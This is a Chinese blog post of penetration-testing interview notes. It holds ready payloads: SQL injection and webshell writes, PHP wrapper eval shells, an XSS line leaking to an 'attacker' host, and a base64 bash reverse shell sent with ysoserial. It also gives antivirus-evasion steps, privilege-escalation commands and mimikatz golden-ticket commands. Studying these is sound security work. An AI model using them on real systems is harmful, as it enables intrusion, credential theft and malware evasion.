当前位置:   article > 正文

渗透测试-网络攻防面试题(非常全面,根据自己经验所写,长期更新)

攻防面试题

1.sql注入

    1)有会显得注入-联合查询

            先通过order by猜列数->然后通过union select来查看是否有回显->然后通过mysql特有的数据库表information_schema\tables\columns表(包含了所有的数据库名、表名、列名)来爆破数据

    2)没有回显-报错注入

            通过使用函数floor(rand(0)*2)、extractvalue(1,concat('!',(select database()),'~'))、updatexml(1,concat('!',(select database()),'~'),1)来进行报错,会在报错中显示想要查询的数据

            例如:

            id=-1'union select 1,count(*),concat((select database()),floor(rand(0)*2)) as a from security.users group by a--+#

            id=-1'and extractvalue(1,concat('!',(select database()),'~'))--+#

            id=-1'and updatexml(1,concat('!',(select database()),'~'),1)--+#

    3)没有回显-布尔盲注

            通过if()配合length()\substr()\ascill()函数来进行注入,查看结果是否正常来进行注入

            id=1' and length(database())=8 --+

    4)没有回显-时间盲注

            主要函数sleep(),查看bp右下角是否有延时来进行注入

            id=1'and if(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),0,1)>"a",sleep(3),1)--+

    5)绕过:

        (1)/**/

        (2)<>   例子:sel<>ect

        (3)双写

        (4)大小写

        (5)编码,url,unhex(hex(select ...))等

        (6)宽字节绕过

                    比如,在1个语句中,id=1'or 1=1--+中,后端有过滤函数,在'前面加了一个/,就变成了id=1/'or 1=1--+,就无法实现闭合,此时就可以通过宽字节来进行绕过

                    因为在mysql中,编码方式大多为gbk,可以把语句变成这样,id=1%df%5c' or 1=1--+,由于会有过滤,到了后端就变成了id=1%df%5c/' or 1=1--+,因为%df%5c/在gbk中是一个汉                                   字‘媡’,结果就变成了id=1媡' or 1=1--+从而实现了注入

                    但是假如在爆破列名等,会有where table_name='user',通过过滤函数,会变成'user/',假如使用宽字节进行绕过,就变成了'user媡',确实实现了绕过,但是表名也被改变了,此时可以通过

                    where table_name=0x7573657273,不通过'user'这种方式也可以

    6)闭合

        (1)不加任何注释

        (2)'

        (3)"

        (4))

        (5)')

        (6)")

    7)注释

        (1)--+

        (2)#

        (3)%23

        (4);%00

    8)扩展-注入功能的多样性

        1)堆叠注入

                它并不是和上面的时间盲注布尔盲注等一样,只是一种特殊的查询数据的方法

                通常用于select被过滤,但是(;)没有被过滤,就可以使用这种

               1 可以用来执行多条sql语句

        2)二次注入 (先构造恶意语句,让数据库自己调用恶意语句进行注入)

            存在判断:一般是存在注册点和修改密码点,而且可以注册带有特殊字符的用户名

            想要修改admin的密码(原密码不知道)

            注册一个admin'#的账户密码123456

            修改admin'#的密码为adminadmin,admin'#传到数据库中

            UPDATE users SET PASSWORD='adminadmin' where username='admin'#' and password='$curr_pass'

            就变成了UPDATE users SET PASSWORD='adminadmin' where username='admin'

            admin的密码就改为了adminadmin

    9)常用函数

        version()

        database()

        user()

        load_file('/etc/passwd')---读取文件

        into_outfile()  --写文件    例子:id=-32 union select 1,2,"<?php @eval($_REQUEST[cmd]);?>",4,5,6,7,8,9,10,unhex(hex((select group_concat(table_name) from information_schema.tables                                                              where  table_schema='cms'))),12,13,14,15 into outfile'/var/www/html/123.php' --+#

    10)mssql,orcale的一些特定函数和闭合方法---------------------------------------------------------------no------------------------------------------------------

2.文件上传

    1)黑名单绕过:

            (1)php3,php5,phtml,aspx,jspx绕过

            (2)content-type绕过

            (3)双写绕过

            (4)大小写绕过

            (5)123.php.绕过

            (6)123.php空格  绕过

            (7)123.php/.绕过

    2)白名单绕过:

            (1)00截断

            (2).htaccess文件包含绕过

            (3)图片马配合中间件解析漏洞绕过

3.php、nginx、iis解析漏洞

    1)nighx:

        例子:www/123.jpg是上传的图片马,将地址改为www/123.jpg/123.php即可以执行php代码,若上传的文件名被修改,可以结合爆破工具来尝试找

    2)IIS6.0下:(上传的jpg格式的文件以前者格式解析)

        有文件夹绕过:这样命名123.php/123.jpg

        文件绕过:这样命名123.php;123.jpg

    3)在apache低版本中:

        有未知后缀名解析漏洞,例如123.php是以php格式解析,但123.php.xxx也是以php解析,就是比如后面的后缀名不能解析,就往前解析。

4.php伪协议

    1)file://

        作用:读取本地文件

        条件:file协议使用需要用到完整路径,依赖前期的信息收集

        用法:

            ?filename=file://D:/phpStudy2018/PHPTutorial/phpinfo.txt

            ?filename=file:///etc/passwd

    2)phar://、zip://、bzip2://、zlib://

        作用:可以访问压缩文件中的子文件

        注意:不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等,将phpinfo.txt压缩成phpinfo.zip,再将压缩包重命名为phpinfo.jpg

        条件:无

        用法:

            ?file=zip://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

            ?file=phar://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.zip\phpinfo.txt

            ?file=compress.bzip2://D:\phpStudy2018\PHPTutorial\WWW\phpinfo.bz2

    3)data://

        作用:使用data://数据流封装器,以传递相应格式的数据,通常可以用来执行PHP代码。

        条件:(1)PHP>=5.2.0 (2)allow_url_fopen=on、allow_url_include=on

        用法:

            ?file=data://text/plain,<?php @eval($_POST['pass']);phpinfo();?>

            ?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pO3BocGluZm8oKTs/Pg==

    4)php://filter

        作用:读取文件内容

        条件:无

        用法:

            ?file=php://filter/resource=flag.php

            ?file=php://filter/read=convert.base64-encode/resource=flag.php

    5)php://input

        作用:执行php代码,或者写入文件

        条件:allow_url_include=on

        用法:

            ?file=php://input

            [POST DATA部分]

            <?php system("ls"); ?>

5.文件包含

    分为远程包含和本地包含

    PHP:include() 、include_once()、require()、require_once()、fopen()、readfile()

    JSP/Servlet:ava.io.file()、java.io.filereader()

    ASP:include file、include virtual

6.xss

    1)存储型

        存储到了服务器

    2)反射型

        经过服务器,但是不会存储

    3)DOM型

        只在前端

    <p><img src="https://attacker/?data=</p> <p>This is a secret text.</p> <p id="x">AAA</p>

    "οnmοuseοver="alert(123)

    <a href="javascript:alert(/xss/)">a</a>

    'οnclick='javascript:alert(1)'

    转码:c->c

7.文件下载

    index.php?f=../../../../../../etc/passwd

10.ssrf和csrf

    1)ssrf很常用的就是内网探针,给外网服务器一个url,让其去访问内网服务器

    2)csrf就是通过模仿一个一摸一样的网站,当受害人登陆了其他站,带有cookie,再访问这个站,就被偷钱,改密码

12.shiro反序列化、log4j反序列化、fastjson反序列化漏洞

    1)shiro反序列化550、721

        (1)基本过程:

            1、检索RememberMe Cookie的值

            2、Base64解码

            3、AES解密(加密密钥硬编码)

            4、进行反序列化操作(未过滤处理)

            5、攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令

        (2)550和721的区别:

            1、这两个漏洞主要区别在于Shiro550使用已知密钥碰撞,只要有足够密钥库(条件较低),不需要Remember Cookie

            2、Shiro721的ase加密的key基本猜不到,系统随机生成,可使用登录后rememberMe去爆破正确的key值,即利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,然后精心构造 RememberMe Cookie 值来实现反序列化漏洞攻击,难度高

          (3)shiro不出网怎么利用

            1.可以使用shiro利用工具中的回显利用,css文件什么的

    2)log4j反序列化

        (1)漏洞原理:

            JNDI全称 Java Naming and Directory Interface。JNDI是Java平台的一个标准扩展,提供了一组接口、类和关于命名空间的概念,JDNI通过绑定的概念将

            对象和名称联系起来。

            LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录服务是一个特殊的数据库,用来

            保存描述性的、基于属性的详细信息,支持过滤功能。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。

            Codebase就是存储代码或者编译文件的服务。其可以根据名称返回对应的代码或者编译文件,如果根据类名,提供类对应的Class文件。

            

            ${jndi:ldap:x.x.x.x/test.class},通过构造的这条恶意函数,发送到log4j,打印到日志中,开始解析{}中的内容,发现是ldap实现的jndi,然后调用lookup功能去查找x.x.x.x/test.class该文件,然后发现是远程服务器的文件,需要通过codebase去下载该class类,然后下载后,对该class文件进行使用默认的构造器进行实例化成对象,这样就会把原理恶意构造的静态块代码执行

            上述原理只适用于jdk版本包括或者低于8的版本,高于8的版本,VersionHelper12.loadClass中设置了一个判断,就是trustURLCodebase变量设置为了false,禁止远程去访问下载恶意class类文件

            对于高版本的jdk,则可以考虑通过lookup加载本地类来进行jndi注入,可以利用javax.el.ELProcessor类,因为他有eval方法,且只有一个string参数,可以执行命令

        (2)操作技巧:

            java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/suc" | nc 192.168.68.129 4712

            java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjcvMjIzMyAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.68.129 4712

    3)fastjson反序列化

        fastjson在反序列化json字符时,可以通过autoType来指定反序列化的类,并调用相关方法的set方法(这里调用了dataSourceName和autoCommit方法,反序列化

        后自动会调用setdataSourceName和setautoCommit方法并把参数传入),而setautoCommit方法中调用了connect方法,connect方法中调用了lookup方法,可以通

        过JNDI去访问LDAP、RMI等服务,又因为ldap存在命名引用,如果不存在指定文件,就会去指定的url下载到本地,如果下载的.class文件包含无参构造函数和静态

        代码块就会被自动执行,从而造成任意代码执行。

        感觉和log4j JNDI注入漏洞极其相似,都是因为lookup方法没有进行限制导致的漏洞,但前期利用的方式缺不同,fastjson是通过autoType来反序列化

        JdbcRowSetlmpl类,通过setautoCommit方法调用到lookup方法,而log4j是因为日志调用方法中调用了lookup方法。

13.永恒之蓝

    SMB协议漏洞: 永恒之蓝漏洞的核心是在SMB协议中发现的漏洞。SMB是一种用于在网络上共享文件和打印机的协议,而在Windows中,SMB服务是通过TCP端口445提供

    的。

    缓冲区溢出: 漏洞利用了SMB协议中一个叫做"NS"(Negotiate ProtocolRequest)的消息的处理过程中存在的缓冲区溢出问题。攻击者通过发送特制的恶意数据包,

    成功地覆盖了目标系统内存中的关键部分。

    执行恶意代码: 由于成功利用了缓冲区溢出,攻击者能够向目标系统注入恶意代码。这使得攻击者可以在受影响的系统上执行任意命令,获取系统的控制权。

    传播机制: 漏洞中的一个特别危险之处在于它的自我传播机制。一旦一个系统被感染,漏洞可以通过局域网中的其他系统迅速传播,使得大范围的系统受到影响。

20.免杀

    可以放到世界杀毒网,或者微步沙箱中去看看能过多少个杀软

    1.源码层面--实验(mimikatz)

        1)替换敏感字符(切记要全部替换,不只是源码,还有文件名等,例如sqlmap太敏感,全部替换成qiao)

        2)去掉注释信息

        3)将版本信息去掉(公司信息版本等等都去掉)

        4)更换图标,没有图标的,可以添加一个图标

        5)把帮助源码删掉(help)

        6)把头部信息删掉(用字符拼起来的sqlmap)

    2.使用python自带的pyinstaller模块进行免杀(配合cs)

        例如cs生成一个py文件格式的文件,将其中的代码放到shellcode加载文件中,然后用pyinstaller生成一个exe文件,实现免杀

        pyinstaller -F shell.py --noconsole -i 123.ico -n wang.exe

        使用go语言的shellcode加载器进行免杀(配合cs)

        使用c# xor的shellcode加载器进行免杀,类似于上两个(配合cs)--项目地址:http://github.com/antmanlp/ShellCodeRunner

    3.加壳

        1)darkarmour加壳

            darkarmour.py -f qiao.exe --encrypt xor --jmp -o qiao1.exe --loop 5

    4.修改程序入口地址

    5.加入花指令

21.安全设备

    安恒和亚信的态感,绿盟的漏扫waf,启明的防火墙,深信服的vpn安全态势感知,天融信的网闸

23.php代码审计危险函数

    1)函数:

        upload

        select

        system

        eval

        serialize

        file

        include

        ...

    2)工具:

        seay,idea,vs code,jd-gui...

    java学到坦克大战线程了

24.挖洞经历----------------------------------------------no----------------------------------------------

26.fscan

    1)基本使用

                  (C段扫描)

        fscan.exe -h 192.168.1.1/16  (B段扫描)

        fscan.exe -h 192.168.1.1/8  (A段扫描)

    2)参数:

         -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)

         -rf id_rsa.pub (redis 写公钥)

         -rs 192.168.1.1:6666 (redis 计划任务反弹shell)

         -c whoami (ssh 爆破成功后,命令执行)

         -m ssh -p 2222 (指定模块ssh和端口)

         -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)

         -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)

         -m smb -pwd password (smb密码碰撞)

         -m ms17010 (指定模块)

         -hf ip.txt  (以文件导入)

         -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)

         -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)

         -pa 3389 (在原基础上,加入3389->rdp扫描)

27.xxe----------------------------------------------no----------------------------------------------

    1)DTD

        DTD是对XML标签元素的解释,XML中遇到的标签都需要在DTD中进行标注,同样的DTD对于放置位置与CSS相同,有DTD内部文档声明,也有外部文档声明

    2)

32.thinkphp5rce原理----------------------------------------------no----------------------------------------------

33.sqlmap写shell的原理和条件

    1)前提条件:

        <1>拥有网站的写入权限

        <2>Secure_file_priv参数为空

    2)原理:

        必须提前知道物理路径,还有脚本类型语言,先通过写入一个上传框文件(tmpuoeyk.php)--使用的是INTO

        OUTFILE函数来上传的上传框,然后通过这个上传框来进行上传后门文件(tmpbjkvk.php),然后利用此后门文件来执行命令

34.APT攻击

    我理解的APT攻击,其实就是正常现在的护网攻击方式,通过长期的信息收集,不止于公司信息,还有员工信息,供应商信息等,通过0day等等方法打进去,还有钓鱼

    ,社工等

35.供应链攻击

    想要攻击一个web网站,实在攻击不进去,可以考虑去攻击提供开发web网站的公司,或者是提供硬件的供应商,进入他们的系统服务器,然后投入木马病毒后门,然后

    等到供应商正常交付,从而达到攻击的目的

36.日志路径

    windows:C:\Windows\System32\winevt\Logs    事件查看器

    linux:/var/log/

37.HTTP参数污染

    原理:若是php+apache 传递的多个参数取last   假设x=1&x=3   传递到后端就是x=3

          若是jsp+tomcat 传递的多个参数取first    假设x=1&x=3   传递到后端就是x=1

          若是cgi+apache 传递的多个参数取first    以此类推

          若是python+apache 传递的多个参数取all    以此类推

          若是asp+iis 传递的多个参数取all        以此类推

    例子:

          id=1/*&id=-1 union select 1,database(),3 #*/   传给waf,waf匹配到的只有id=1,传给后端数据库因为参数污染,得到的是

          id=-1 union select 1,database(),3 #*/  ->  id=-1 union select 1,database(),3

38.jwt令牌渗透

    1)修改payload内容,进行越权尝试,修改有效时长

    2)修改头部header的alg,改为none,然后删掉签名,看是否还有效

    3)利用jwt_tools来爆破密钥

    4)头部注入

        JWT头部(也称为JOSE头部)通常包含其他几个参数。以下是攻击者特别感兴趣的参数:

            jwk(JSON Web Key):提供一个表示密钥的嵌入式JSON对象。

            jku(JSON Web Key Set URL):提供一个URL,服务器可以从中获取一组包含正确密钥的密钥。

            kid(Key ID):提供一个ID,在有多个密钥可供选择的情况下,服务器可以使用该ID来识别正确的密钥。根据密钥的格式可能还有一个匹配的kid参数。

        (1)jwk注入攻击:

            使用自己生成的rsa公钥替换jwk中的公钥

        (2)现在大多数的jwt头部只有alg和加密方式了,没有这些头部,很少用,不记得了,不重要

39.前端js逆向

    1)首先正常登录在f12中network查看登录数据包,在payload中找到密码是哪一个字段

    2)到前端js代码中搜索这个字段

    3)寻找附近是否有aes,rsa,base64,bota(base64)加密算法

    4)找到对应的加密算法可以放到控制台中进行输出验证一下,有密钥的可以通过前端全局搜索关键字来寻找

    例子:漏洞盒子,base64加密-bota,致远OA-DES,密钥在js中

41.内网提权常用漏洞

         1)脏牛内核提权----------------------------------------------no----------------------------------------------

42.渗透思路

    1)给的是一个IP:---平常渗透测试

            (1)通过nmap扫描目标端口开放情况和对应的服务

            (2)根据扫描出来的服务进行相应的渗透

                    ①数据库:redis,需先有未授权或者密码,才能考虑写shell、ssh私钥登陆、计划任务反弹shell、主从复写、shiro的session-key反序列化

                                     mysql,需要先得到密码,才可以考虑通过日志写入shell、通过网站目录上传shell

                                    sqlserver,需要先得到密码,才可以考虑开启xp_cmdshell

                    ②ftp:考虑有无未授权

                    ③ssh:爆破弱口令

                    ④rdp:爆破弱口令

            (3)http:

                    ①cms漏洞:log4j,shiro,thinkphp,spring,致远,红帆,若以,海康威视....

                    ②中间件漏洞:apache,tomcat,iis,weblogic,jboos,activemq....

                    ③组件漏洞:fastjson,phpmyadmin,ueditor...。

                    ④先使用dirsearch扫描一下目录,再使用jsfinder去自动化收集一下js中的接口

                    ⑤手工测试:SQL注入,xss,文件上传,文件下载,文件包含,未授权,越权.,前端绕过,jwt令牌,通过js逆向加密算法进行爆破.....

                    ⑥扫描器:xray,awvs,goby.....

    2)给的是一个单位名称目标: ----攻防

            (1)通过fofa,钟馗之眼等来寻找相关的域名等,也可以通过御剑的子域名挖掘器

            (2)有了多个域名目标,接下来的操作就是类似刚刚的对于http的渗透

            (3)旁站攻击,供应链攻击,社工钓鱼等

    3)给的是app:

            (1)逆向脱壳,apktools,然后进行审计源码

            (2)通过夜神模拟器,安装app,安装证书,挂代理,通过bp进行渗透(类似于http)

    4)给的是一个公众号:

            (1)使用微信自带的代理,或者全局代理,进行抓包渗透

三.内网渗透

    1.先进行fscan扫描

    2.尝试进行提权

            linux:

            1)发现有suid权限的文件,find /-perm -u=s.....

            2)寻找可以用root权限执行的命令,sudo -l

            3)查看进程,ps -ef

            4)使用脚本工具,查看linux版本是否有对应的提权漏洞,linux-exploit-suggester.sh

            windows:

            1)查看进程,tasklist ,向日葵等

            2)查看系统补丁:systeminfo,对应版本去寻找漏洞

            3)第三方应用提权:

                (1)数据库(获得root数据库权限,从而利用数据库提升到系统权限):

                    探针:

                        端口:扫描端口,看看哪一个数据库的对应端口开放

                        服务:

                        其他

                    收集密码:

                        配置文件:网站的配置文件,conf,config等等

                        存储文件:

                            mysql-.myd文件就是存储的文件,root存储在data目录下的mysql数据库目录中的user表中

                        暴力猜解:少用

                        其他方式

                    分类:

                        mysql:

                            UDF:mysql查找存储路径的命令-select @@basedir;   MySQL版本大于5.1,导出目录为/lib/plugin/   

                            若小于5.1,导出目录为c:/windows/或者system32反弹shell,获得root权限后,可以执行允许外联的命令

                        mssql(最高权限是sa,但普遍都支持外联):

                            xp_cmdshell:在mssql2005版本之后是关闭状态,在sp_configure开启

                            sp_oacreate:若关闭,则也在sp_configure开启,若执行结果没有回显,可以利用输出文件来查看

                            sp_oamethod

                            沙盒提权:网上有文章

                            映像劫持

                        orcle(一般搭配asp使用,asp的web权限普通都是system权限):

                            普通用户,DBA用户,注入模式:有直接的工具,网上的orcleshell工具

                        redis:

                            利用计划任务执行命令反弹shell--需要前提,允许外连

                            写ssh-keygen公钥使用私钥登录--条件更苛刻

                            低权限写webshell--很难实现

                        postgresql:

                            CVE-2018-1058:低权限情况下用

                            CVE-2019-9193:高权限情况下用

                (2)溢出漏洞:利用msf或者手工写的exp来进行使用提权,都是利用系统漏洞来提权

                (3)令牌窃取:(windows才行,2008之后的不行)

                    msf先生成后门文件,靶机运行后门文件,反弹shell成功后,利用令牌窃取进行提权到system

                    use incognito

                    list tokens -u

                    impersonate_token "NT AUTHORITY\SYSTEM"

                (4)第三方软件(dll劫持):

                    相当鸡肋,前提条件:需要安装特殊的第三方软件,还得经常使用

                (5)AT&SC&PS:

                    AT:在2003版本才行,直接提权,命令 at 时间 /interactive cmd.exe  等待时间到即可

                    SC:2003,7版本可以 sc create syscmd binpath="cmd /k start" type=own type=interact 再执行 sc start syscmd

                    PS:2008版本 需要pstool工具(微软官方的)  psexec.exe -accepteula -s -i -d cmd.exe

                (6)不安全的服务权限配合(本地提权):

                    需要下载AccessChk文件(微软官方的)

                    accesschk.exe -uwcqv "用户" *

                    sc config "对应服务" binpath="上传恶意文件的路径(也是利用了7)的原理)"

                    sc start "对应服务"

                (7)不带引号的服务路径:

                    比如:C://program files/a.exe -f,windows识别到空格,认为后面是参数,正确的应该是”C://program files/a.exe“ -f

                    假如在C://加一个program恶意文件exe后缀,再次执行,则该恶意文件会被执行

                    查找上述情况的命令:wmic service get name,displayname,pathname,startname | findstr /i "Auto" | findstr /i /v "c:\Windows\\" | findstr /i /v """

                    在webshell中启动服务的命令:sc start+”服务名“

                (8)Unattended Installs

                (9)AlwaysInstallElevated提权:需要以系统权限开启,才能进行从普通权限提到系统权限的操作,非常鸡肋

                (10)进程注入提权:

                    利用有system的进程,注入,让其释放权限,从而得到system权限

                    很鸡肋   pexec64进程注入工具

                (11)烂土豆(rotten potato)配合令牌窃取提权:

                    获得webshell后,将烂土豆执行,然后进行令牌窃取即可

    3.代理远程桌面,ssh

            frp内网穿透、reGeorg、nps...

    4.域渗透(cs、msf使用)

        1)判断是否是域环境:

            第一种:ipconfig /all 通过查看windows ip配置中的 主DNS后缀l来判断

            第二种:net view /domain 有信息返回就是存在域环境

            第三种:net time /domain 判断主域

        2)寻找域DC:nslookup net time /domain的返回结果,或者ping  net time /domain的返回结果

        3)minikatz

            (1)以管理员权限运行mimikatz

            (2)提升权限 privilege::debug

            (3)抓取密码 sekurlsa::logonpasswords

        4)金银票据

            黄金票据:

                域中每个用户的 Ticket 都是由 krbtgt 的密码 Hash 来计算生成的,因此只要获取到了 krbtgt 用户的密码 Hash ,就可以随意伪造 Ticket ,进而使用     Ticket 登陆域控制器,使用 krbtgt 用户 hash 生成的票据被称为 Golden Ticket,此类攻击方法被称为票据传递攻击。

                首先获取krbtgt的用户hash:

                lsadump::dcsync /domain:http://xx.com /user:krbtgt

                利用 mimikatz 生成域管权限的 Golden Ticket,填入对应的域管理员账号、域名称、sid值,如下:kerberos::golden/user:XX/domain:http://XX.COM/sid:XXXXXXXXX /krbtgt:XXXXXX /ticket:123.kiribi

                文件生成在mimikatz所在的文件夹中。票据可重复导入。

            白银票据:

                黄金票据和白银票据的一些区别:Golden Ticket:伪造TGT,可以获取任何 Kerberos 服务权限,且由 krbtgt 的 hash 加密,金票在使用的过程需要和域控通信;

                白银票据:伪造 TGS ,只能访问指定的服务,且由服务账号(通常为计算机账户)的 Hash 加密 ,银票在使用的过程不需要同域控通信;

                Kerberos::golden /domain:http://xx.com /sid:XXXXXXXXX /target:http://black.red.com /rc4:xxxxxx /service:cifs /user:xxx /ptt

        5)横向移动

            通过minikatz获取到用户明文密码或者hash、金银票据、密码喷洒来进行横向

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/866730
推荐阅读
相关标签
  

闽ICP备14008679号